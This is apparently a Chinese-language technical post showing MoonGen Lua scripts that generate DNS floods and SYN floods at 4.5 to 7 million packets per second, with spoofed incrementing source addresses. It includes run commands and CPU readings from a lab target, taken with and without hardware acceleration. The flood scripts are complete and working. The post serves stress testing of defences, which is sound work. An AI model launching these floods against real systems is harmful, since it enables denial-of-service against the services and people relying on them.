MoonGen 是一个基于Intel DPDK 和LuaJIT开源技术,高度灵活的高速网络包生成器, 在一个单一CPU上运行用户编写的Lua script, 对于64 byte大小的网络包,可达到10 Gbit/s线速。 下面分享一下MoonGen 用户Lua script编写运行实列如SYN flooding, DNS flooding。
1 五百万线速DNS flooding
MoonGen Master script 负责初始化DPDK传输网络端口, 源地址,线速。调用slave script LoadSlave.
7 function master(txPorts, minIp, numIps, rate) 8 if not txPorts then 9 printf("usage: txPort1[,txPort2[,...]] [minIP numIPs rate]") 10 return 11 end 12 txPorts = tostring(txPorts) 13 minIp = minIp or "10.0.0.1" 14 numIps = numIps or 100 15 rate = rate or 0 16 for currentTxPort in txPorts:gmatch("(%d+),?") do 17 currentTxPort = tonumber(currentTxPort) 18 local txDev = device.config({ port = currentTxPort }) 19 txDev:wait() 20 txDev:getTxQueue(0):setRate(rate) 21 dpdk.launchLua("loadSlave", currentTxPort, 0, minIp, numIps) 22 end 23 dpdk.waitForSlaves() 24 end
LoadSlave script 可初始化目标地址,hard code DNS协议包,也可在while 主循环里随机DNS
26 function loadSlave(port, queue, minA, numIPs) 27 --- parse and check ip addresses 28 29 local minIP, ipv4 = parseIPAddress(minA) 30 if minIP then 31 printf("INFO: Detected an %s address.", minIP and "IPv4" or "IPv6") 32 else 33 errorf("ERROR: Invalid minIP: %s", minA) 34 end 35 36 -- min TCP packet size for IPv6 is 74 bytes (+ CRC) 37 --local packetLen = ipv4 and 60 or 74 38 local packetLen = ipv4 and 86 or 60 39 40 --continue normally 41 local queue = device.get(port):getTxQueue(queue) 42 local mem = memory.createMemPool(function(buf) 43 buf:getUdpPacket(ipv4):fill{ 44 ethSrc="a0:36:9f:a1:4d:6d", ethDst="52:54:00:2E:62:A2", 45 ip4Dst="10.9.3.6", 46 ip6Dst="fd06::1", 47 udpDst="53", 48 udpSrc="1029", 49 pktLength=packetLen } 50 51 local pkt = buf:getUdpPacket(ipv4) 53 pkt.payload.uint16[1] = 8193 55 pkt.payload.uint16[2] = 256 58 pkt.payload.uint16[3] = 0 60 pkt.payload.uint16[4] = 0 62 pkt.payload.uint16[5] = 256 64 pkt.payload.uint16[6] = 30467 66 pkt.payload.uint16[7] = 30583 68 pkt.payload.uint16[8] = 25863 70 pkt.payload.uint16[9] = 24952 73 pkt.payload.uint16[10] = 28781 76 pkt.payload.uint16[11] = 25964 78 pkt.payload.uint16[12] = 25347 80 pkt.payload.uint16[13] = 28015 82 pkt.payload.uint16[14] = 0 84 pkt.payload.uint16[15] = 1 86 pkt.payload.uint16[16] = 1 88 pkt.payload.uint16[17] = 10496 90 pkt.payload.uint16[18] = 16 91 pkt.payload.uint16[19] = 0 92 pkt.payload.uint16[20] = 0 93 pkt.payload.uint16[21] = 0 94 95 end) 96 97 local lastPrint = dpdk.getTime() 98 local totalSent = 0 99 local lastTotal = 0 100 local lastSent = 0 101 local bufs = mem:bufArray(128) 102 local counter = 0 103 local c = 0 104 105 local txStats = stats:newDevTxCounter(queue, "plain") 106 while dpdk.running() do 107 -- faill packets and set their size 108 bufs:alloc(packetLen) 109 for i, buf in ipairs(bufs) do 110 local pkt = buf:getUdpPacket(ipv4) 111 112 --increment IP 113 if ipv4 then 114 pkt.ip4.src:set(minIP) 115 pkt.ip4.src:add(counter) 116 --random udp source port 117 pkt.udp.src = math.random(0, 2^16 - 1) 118 -- random dns query id 119 pkt.payload.uint16[0] = math.random(0, 2^16 - 1) 163 else 164 pkt.ip6.src:set(minIP) 165 pkt.ip6.src:add(counter) 166 end 167 counter = incAndWrap(counter, numIPs) 168 169 -- dump first 3 packets 170 if c < 3 then 171 buf:dump() 172 c = c + 1 173 end 174 end 175 --offload checksums to NIC 176 bufs:offloadUdpChecksums(ipv4) 177 178 totalSent = totalSent + queue:send(bufs) 179 txStats:update() 180 end 181 txStats:finalize() 182 end
运行实列:
#build/MoonGen examples/dns-flood-victoria.lua 0 10.0.0.1 16000000 10000
4.5百万线速包
Device: id=0] Sent 13710082176 packets, current rate 4.51 Mpps, 3246.01 MBit/s, 3967.35 MBit/s wire rate.
测试目标CPU使用状况
没有硬件加速情况下的CPU使用状况 (~100%)
top - 12:07:02 up 1 day, 20:38, 1 user, load average: 5.22, 7.46, 9.27
Tasks: 777 total, 19 running, 758 sleeping, 0 stopped, 0 zombie
Cpu(s): 50.6%us, 40.2%sy, 0.0%ni, 9.2%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 66080376k total, 65722732k used, 357644k free, 108700k buffers
Swap: 5242872k total, 0k used, 5242872k free, 4048612k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
17859 root 1 -19 57.9g 145m 123m R 100.8 0.2 56:44.33 tmm.0 -T 10 --tmid
硬件加速情况下的CPU使用状况 (~12%)
top - 14:51:05 up 3:30, 1 user, load average: 0.12, 0.05, 0.01
Tasks: 771 total, 1 running, 770 sleeping, 0 stopped, 0 zombie
Cpu(s): 4.2%us, 0.5%sy, 0.0%ni, 95.2%id, 0.0%wa, 0.1%hi, 0.0%si, 0.0%st
Mem: 66080272k total, 63094488k used, 2985784k free, 61152k buffers
Swap: 5242876k total, 0k used, 5242876k free, 1352852k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
6428 root 1 -19 58.4g 151m 122m S 12.6 0.2 3:19.62 tmm.0
由此可以看出,没有硬件加速的DNS 服务器是不能处理这样每秒千百万网络包的DNS flooding 的
2 七百万线速SYN flooding
用户Lua script如下
26 function loadSlave(port, queue, minA, numIPs) 28 29 local minIP, ipv4 = parseIPAddress(minA) 30 if minIP then 31 printf("INFO: Detected an %s address.", minIP and "IPv4" or "IPv6") 32 else 33 errorf("ERROR: Invalid minIP: %s", minA) 34 end 35 37 local packetLen = ipv4 and 60 or 74 40 local queue = device.get(port):getTxQueue(queue) 42 local mem = memory.createMemPool(function(buf) 43 buf:getTcpPacket(ipv4):fill{ 45 ethSrc="a0:36:9f:a1:4d:6d", ethDst="00:50:DA:CA:CB:17", 47 ip4Dst="10.9.3.6", 48 ip6Dst="fd06::1", 49 tcpDst="80", 51 tcpSyn=1, 53 tcpSeqNumber=1, 54 tcpWindow=10, 55 pktLength=packetLen } 56 end) 57 58 local lastPrint = dpdk.getTime() 59 local totalSent = 0 60 local lastTotal = 0 61 local lastSent = 0 62 local bufs = mem:bufArray(128) 63 local counter = 0 64 local c = 0 65 66 local txStats = stats:newDevTxCounter(queue, "plain") 67 while dpdk.running() do 68 -- faill packets and set their size 69 bufs:alloc(packetLen) 70 for i, buf in ipairs(bufs) do 71 local pkt = buf:getTcpPacket(ipv4) 74 if ipv4 then 75 pkt.ip4.src:set(minIP) 76 pkt.ip4.src:add(counter) 77 --random source port 78 pkt.tcp.src = math.random(0, 2^16 - 1) 79 else 80 pkt.ip6.src:set(minIP) 81 pkt.ip6.src:add(counter) 82 end 83 counter = incAndWrap(counter, numIPs) 86 if c < 3 then 87 buf:dump() 88 c = c + 1 89 end 90 end 92 bufs:offloadTcpChecksums(ipv4) 93 94 totalSent = totalSent + queue:send(bufs) 95 txStats:update() 96 end 97 txStats:finalize() 98 end
运行实列
#build/MoonGen examples/l3-tcp-syn-flood.lua 0 10.0.0.1 16000000 10000
~每秒七百万网络包
[Device: id=0] Sent 7061632 packets, current rate 7.06 Mpps, 3615.47 MBit/s, 4745.31 MBit/s wire rate
测试目标CPU 使用状态
无硬件加速的syncookie 处理时CPU使用 (~70%)
top - 10:53:51 up 42 min, 1 user, load average: 0.24, 0.23, 0.65
Tasks: 769 total, 10 running, 759 sleeping, 0 stopped, 0 zombie Cpu(s): 35.4%us, 1.7%sy, 0.1%ni, 62.9%id, 0.0%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 66080376k total, 62740700k used, 3339676k free, 45784k buffers
Swap: 5242872k total, 0k used, 5242872k free, 1199508k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
19290 root 1 -19 57.9g 145m 123m R 71.5 0.2 0:14.38 tmm.0 -T 10 --tmid
硬件加速的syncookie 处理时CPU使用 (~3%)
top - 10:50:08 up 38 min, 1 user, load average: 0.06, 0.36, 0.81
Tasks: 769 total, 1 running, 768 sleeping, 0 stopped, 0 zombie
Cpu(s): 0.8%us, 0.2%sy, 0.0%ni, 98.5%id, 0.5%wa, 0.0%hi, 0.0%si, 0.0%st
Mem: 66080376k total, 62740552k used, 3339824k free, 45324k buffers
Swap: 5242872k total, 0k used, 5242872k free, 1199492k cached
PID USER PR NI VIRT RES SHR S %CPU %MEM TIME+ COMMAND
19267 root 1 -19 57.9g 145m 123m S 3.6 0.2 0:11.87 tmm
由此,没有硬件加速的syncookie处理,一般的服务器很难处理千百万极的syn flooding